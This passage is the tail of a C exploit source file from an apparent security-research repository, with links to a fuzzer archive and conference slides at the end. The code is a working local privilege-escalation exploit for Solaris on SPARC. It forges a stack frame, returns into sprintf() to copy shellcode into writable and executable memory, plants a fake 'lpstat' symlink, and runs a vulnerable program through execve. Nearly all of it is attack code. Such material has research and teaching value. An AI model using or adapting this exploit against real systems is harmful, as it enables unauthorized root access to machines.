+= ff_addr; 204 | 205 | /* 206 | * populate saved %l registers 207 | */ 208 | set_val(ff, i = 0, ff_addr + 56); /* %l0 */ 209 | set_val(ff, i += 4, ff_addr + 56); /* %l1 */ 210 | set_val(ff, i += 4, ff_addr + 56); /* %l2 */ 211 | set_val(ff, i += 4, ff_addr + 56); /* %l3 */ 212 | set_val(ff, i += 4, ff_addr + 56); /* %l4 */ 213 | set_val(ff, i += 4, ff_addr + 56); /* %l5 */ 214 | set_val(ff, i += 4, ff_addr + 56); /* %l6 */ 215 | set_val(ff, i += 4, ff_addr + 56); /* %l7 */ 216 | 217 | /* 218 | * populate saved %i registers 219 | */ 220 | set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to sprintf() */ 221 | set_val(ff, i += 4, sc_addr); /* %i1: 2nd arg to sprintf() */ 222 | set_val(ff, i += 4, ff_addr + 56); /* %i2 */ 223 | set_val(ff, i += 4, ff_addr + 56); /* %i3 */ 224 | set_val(ff, i += 4, ff_addr + 56); /* %i4 */ 225 | set_val(ff, i += 4, ff_addr + 56); /* %i5 */ 226 | set_val(ff, i += 4, sb - 1024); /* %i6: frame pointer */ 227 | set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */ 228 | 229 | #ifdef USE_EXEC_SC 230 | set_val(sc, 48, sb - 1024); /* populate exec shellcode placeholder */ 231 | #endif /* USE_EXEC_SC */ 232 | 233 | /* overwrite RET and FPT env vars with the correct addresses */ 234 | sprintf(ret_var, "RET=0x%x", ret); 235 | env[ret_pos] = ret_var; 236 | sprintf(fpt_var, "FPT=0x%x", ff_addr); 237 | env[fpt_pos] = fpt_var; 238 | 239 | /* create a symlink for the fake lpstat */ 240 | unlink("lpstat"); 241 | symlink(argv[0], "lpstat"); 242 | 243 | /* print some output */ 244 | sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); 245 | sysinfo(SI_RELEASE, release, sizeof(release) - 1); 246 | fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); 247 | fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); 248 | fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); 249 | fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); 250 | fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr); 251 | fprintf(stderr, "Using sprintf() address\t: 0x%p\n\n", (void *)ret); 252 | 253 | /* check for null bytes (add some padding to env if needed) */ 254 | check_zero(ff_addr, "ff address"); 255 | check_zero(sc_addr, "sc address"); 256 | 257 | /* run the vulnerable program */ 258 | execve(VULN, arg, env); 259 | perror("execve"); 260 | exit(1); 261 | } 262 | 263 | /* 264 | * add_env(): add a variable to envp and pad if needed 265 | */ 266 | int add_env(char *string) 267 | { 268 | int i; 269 | 270 | /* null termination */ 271 | if (!string) { 272 | env[env_pos] = NULL; 273 | return env_len; 274 | } 275 | 276 | /* add the variable to envp */ 277 | env[env_pos] = string; 278 | env_len += strlen(string) + 1; 279 | env_pos++; 280 | 281 | /* pad the envp using zeroes */ 282 | if ((strlen(string) + 1) % 4) 283 | for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { 284 | env[env_pos] = string + strlen(string); 285 | env_len++; 286 | } 287 | 288 | return env_len; 289 | } 290 | 291 | /* 292 | * check_zero(): check an address for the presence of a 0x00 293 | */ 294 | void check_zero(int addr, char *pattern) 295 | { 296 | if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || 297 | !(addr & 0xff000000)) { 298 | fprintf(stderr, "error: %s contains a 0x00!\n", pattern); 299 | exit(1); 300 | } 301 | } 302 | 303 | /* 304 | * get_ff_addr(): get fake frame address using a helper program 305 | */ 306 | int get_ff_addr(char *path, char **argv) 307 | { 308 | char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; 309 | char hex[11] = "\x00"; 310 | int fd[2], addr; 311 | 312 | /* truncate program name at correct length and create a hard link */ 313 | prog[strlen(path)] = 0x0; 314 | unlink(prog); 315 | link(argv[0], prog); 316 | 317 | /* open pipe to read program output */ 318 | if (pipe(fd) < 0) { 319 | perror("pipe"); 320 | exit(1); 321 | } 322 | 323 | switch(fork()) { 324 | 325 | case -1: /* cannot fork */ 326 | perror("fork"); 327 | exit(1); 328 | 329 | case 0: /* child */ 330 | dup2(fd[1], 1); 331 | close(fd[0]); 332 | close(fd[1]); 333 | execve(prog, arg, env); 334 | perror("execve"); 335 | exit(1); 336 | 337 | default: /* parent */ 338 | close(fd[1]); 339 | read(fd[0], hex, sizeof(hex)); 340 | break; 341 | } 342 | 343 | /* check and return address */ 344 | if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) { 345 | fprintf(stderr, "error: cannot read ff address from helper program\n"); 346 | exit(1); 347 | } 348 | return addr + 4; 349 | } 350 | 351 | /* 352 | * search_ldso(): search for a symbol inside ld.so.1 353 | */ 354 | int search_ldso(char *sym) 355 | { 356 | int addr; 357 | void *handle; 358 | Link_map *lm; 359 | 360 | /* open the executable object file */ 361 | if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { 362 | perror("dlopen"); 363 | exit(1); 364 | } 365 | 366 | /* get dynamic load information */ 367 | if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { 368 | perror("dlinfo"); 369 | exit(1); 370 | } 371 | 372 | /* search for the address of the symbol */ 373 | if ((addr = (int)dlsym(handle, sym)) == NULL) { 374 | fprintf(stderr, "error: sorry, function %s() not found\n", sym); 375 | exit(1); 376 | } 377 | 378 | /* close the executable object file */ 379 | dlclose(handle); 380 | 381 | check_zero(addr - 4, sym); 382 | return addr; 383 | } 384 | 385 | /* 386 | * search_rwx_mem(): search for an RWX memory segment valid for all 387 | * programs (typically, /usr/lib/ld.so.1) using the proc filesystem 388 | */ 389 | int search_rwx_mem(void) 390 | { 391 | int fd; 392 | char tmp[16]; 393 | prmap_t map; 394 | int addr = 0, addr_old; 395 | 396 | /* open the proc filesystem */ 397 | sprintf(tmp,"/proc/%d/map", (int)getpid()); 398 | if ((fd = open(tmp, O_RDONLY)) < 0) { 399 | fprintf(stderr, "error: can't open %s\n", tmp); 400 | exit(1); 401 | } 402 | 403 | /* search for the last RWX memory segment before stack (last - 1) */ 404 | while (read(fd, &map, sizeof(map))) 405 | if (map.pr_vaddr) 406 | if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { 407 | addr_old = addr; 408 | addr = map.pr_vaddr; 409 | } 410 | close(fd); 411 | 412 | /* add 4 to the exact address null bytes */ 413 | if (!(addr_old & 0xff)) 414 | addr_old |= 0x04; 415 | if (!(addr_old & 0xff00)) 416 | addr_old |= 0x0400; 417 | 418 | return addr_old; 419 | } 420 | 421 | /* 422 | * set_val(): copy a dword inside a buffer 423 | */ 424 | void set_val(char *buf, int pos, int val) 425 | { 426 | buf[pos] = (val & 0xff000000) >> 24; 427 | buf[pos + 1] = (val & 0x00ff0000) >> 16; 428 | buf[pos + 2] = (val & 0x0000ff00) >> 8; 429 | buf[pos + 3] = (val & 0x000000ff); 430 | } 431 | -------------------------------------------------------------------------------- /fuzzer/sharefuzz1.0.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xdea/raptor_infiltrate19/d0a6d02bc205376a72476092e7ce3bbb34646109/fuzzer/sharefuzz1.0.tar.gz -------------------------------------------------------------------------------- /slides/abugslife.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xdea/raptor_infiltrate19/d0a6d02bc205376a72476092e7ce3bbb34646109/slides/abugslife.pdf -------------------------------------------------------------------------------- /slides/abugslife.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xdea/raptor_infiltrate19/d0a6d02bc205376a72476092e7ce3bbb34646109/slides/abugslife.pptx --------------------------------------------------------------------------------